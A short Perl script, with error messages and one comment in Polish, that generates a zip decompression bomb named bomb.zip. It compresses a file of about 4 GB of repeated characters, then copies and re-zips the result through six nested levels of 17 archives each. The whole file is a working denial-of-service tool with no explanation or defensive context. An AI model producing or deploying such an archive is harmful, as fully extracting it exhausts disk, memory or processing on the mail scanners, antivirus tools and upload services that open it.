﻿#!/usr/bin/perl

use File::Copy;

$width = 17;
$depth = 6;
$tempdir = '/tmp/dec_bomb';
$filename = '0.txt';
$zipfile = 'bomb.zip';
        
chdir($tempdir) or die "nie można zmienić katalogu na $tempdir $!";; 
createInitialFile();
createDecompressionBomb();

sub createInitialFile {
  my $file = $filename;
  my $i = 0;
  open FILE, ">$file" or die "nie można otworzyć pliku $file $!";
  # Największy plik, jaki można skompresować za pomocą bieżącej wersji formatu 'zip', ma rozmiar 4 GB (minus 1 bajt)
  for ($i = 0; $i < (1024*4)-1; $i++) {
    print FILE '1'x1048576;
  }
  print FILE '1'x1048575;
  close FILE;
  `zip -rmj9 $depth-0.zip $filename`
}

sub createDecompressionBomb {
  my $d = 0;
  my $w = 0;
  for ($d = $depth; $d > 0; $d--) {
    if ($d < $depth) {
      `zip -rmj9 $d-0.zip *.zip`;
    }
    for ($w = 1; $w < $width; $w++) {
      copy($d . '-0.zip', $d . '-' . $w . '.zip') or die "nie można skopiować pliku $!";
    }
  }
}
 
`zip -rmj9 $zipfile *.zip`;
